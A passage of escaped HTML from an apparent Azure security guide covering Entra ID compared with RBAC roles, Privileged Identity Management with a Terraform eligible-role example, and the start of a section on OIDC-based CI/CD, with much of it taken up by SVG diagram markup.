style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eEntra ID Roles:\u003c/strong\u003e Manage the directory (Users, Groups, Domains). Examples: \u003ccode\u003eGlobal Administrator\u003c/code\u003e, \u003ccode\u003eUser Administrator\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAzure RBAC Roles:\u003c/strong\u003e Manage resources inside subscriptions. Examples: \u003ccode\u003eOwner\u003c/code\u003e, \u003ccode\u003eContributor\u003c/code\u003e, \u003ccode\u003eStorage Blob Data Reader\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eSecurity Rule:\u003c/strong\u003e Never use Entra ID admins for daily Azure resource management. Create a dedicated \u003ccode\u003ePlatform Engineers\u003c/code\u003e group in Entra ID and assign it Azure RBAC roles at the Management Group scope.\u003c/p\u003e\n\u003ch2 id=\"2-privileged-identity-management-pim\"\u003e2. Privileged Identity Management (PIM)\u003c/h2\u003e\n\u003cp\u003ePermanent \u0026ldquo;Owner\u0026rdquo; assignments are the #1 risk identified in 2026 security audits. PIM solves this by making users \u003cstrong\u003eEligible\u003c/strong\u003e for a role rather than \u003cstrong\u003eActive\u003c/strong\u003e—they have to explicitly request access, justify it, and it expires automatically.\u003c/p\u003e\n\u003ch3 id=\"pim-jit-activation-lifecycle\"\u003ePIM JIT Activation Lifecycle\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 704 265\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,96 L 344,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,192 L 608,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,240 L 344,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,0 L 80,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,40 L 80,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,96 L 80,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,232 L 80,248' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,0 L 352,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,136 L 352,152' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,192 L 352,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,16 L 616,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='96.000000,240.000000 84.000000,234.399994 84.000000,245.600006' fill='currentColor' transform='rotate(180.000000, 88.000000, 240.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='352.000000,96.000000 340.000000,90.400002 340.000000,101.599998' fill='currentColor' transform='rotate(0.000000, 344.000000, 96.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='360.000000,0.000000 348.000000,-5.600000 348.000000,5.600000' fill='currentColor' transform='rotate(90.000000, 352.000000, 0.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='616.000000,192.000000 604.000000,186.399994 604.000000,197.600006' fill='currentColor' transform='rotate(0.000000, 608.000000, 192.000000)'\u003e\u003c/polygon\u003e\n\u003ccircle cx='80' cy='0' r='6' stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='16' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='68' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='228' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='68' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='228' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='68' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='84' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='228' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='84' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='68' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='228' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='228' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='228' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='228' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003e+\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='84' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='84' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='84' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='84' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='164' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='164' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='164' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='180' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='164' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='164' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='180' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='164' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='164' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='180' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='164' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='164' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='164' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='180' fill='currentColor' style='font-size:1em'\u003e8\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='180' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='164' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='132' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='164' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='180' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='164' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='180' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eTerraform Implementation:\u003c/strong\u003e\nUse the \u003ccode\u003eazurerm_pim_eligible_role_assignment\u003c/code\u003e resource to automate your platform access.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;azurerm_pim_eligible_role_assignment\u0026#34; \u0026#34;platform_admins\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  scope              \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/providers/Microsoft.Management/managementGroups/contoso-platform\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  role_definition_id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003edata\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eazurerm_role_definition\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eowner\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eid\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  principal_id       \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eazuread_group\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eplatform_admins\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eobject_id\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eschedule\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    start_date \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;2026-01-01T00:00:00Z\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eexpiration\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      type \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;AfterDuration\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      duration \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;P365D\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e # Re-evaluate eligibility annually\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"3-secret-less-cicd-with-oidc\"\u003e3. Secret-less CI/CD with OIDC\u003c/h2\u003e\n\u003cp\u003eStoring \u0026ldquo;Client Secrets\u0026rdquo; in GitHub or Azure DevOps repository settings is a legacy risk. If a secret leaks, an attacker has permanent access until someone notices and rotates it. \u003cstrong\u003eWorkload Identity Federation (OIDC)\u003c/strong\u003e eliminates the secret entirely—your pipeline proves its identity with a short-lived cryptographic token, not a password.\u003c/p\u003e\n\u003ch3 id=\"github-oidc-token-exchange-flow\"\u003eGitHub OIDC Token Exchange Flow\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 696 217\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,48 L 312,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,128 L 312,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,176 L 320,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,176 L 552,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,48 L 80,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,176 L 80,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,16 L 320,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,88 L 320,104' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,128 L 320,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,176 L 320,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,16 L 560,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='104.000000,128.000000 92.000000,122.400002 92.000000,133.600006' fill='currentColor' transform='rotate(180.000000, 96.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='320.000000,48.000000 308.000000,42.400002 308.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 312.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='560.000000,176.000000 548.000000,170.399994 548.000000,181.600006' fill='currentColor' transform='rotate(0.000000, 552.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='164' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='164' fill='currentColor' 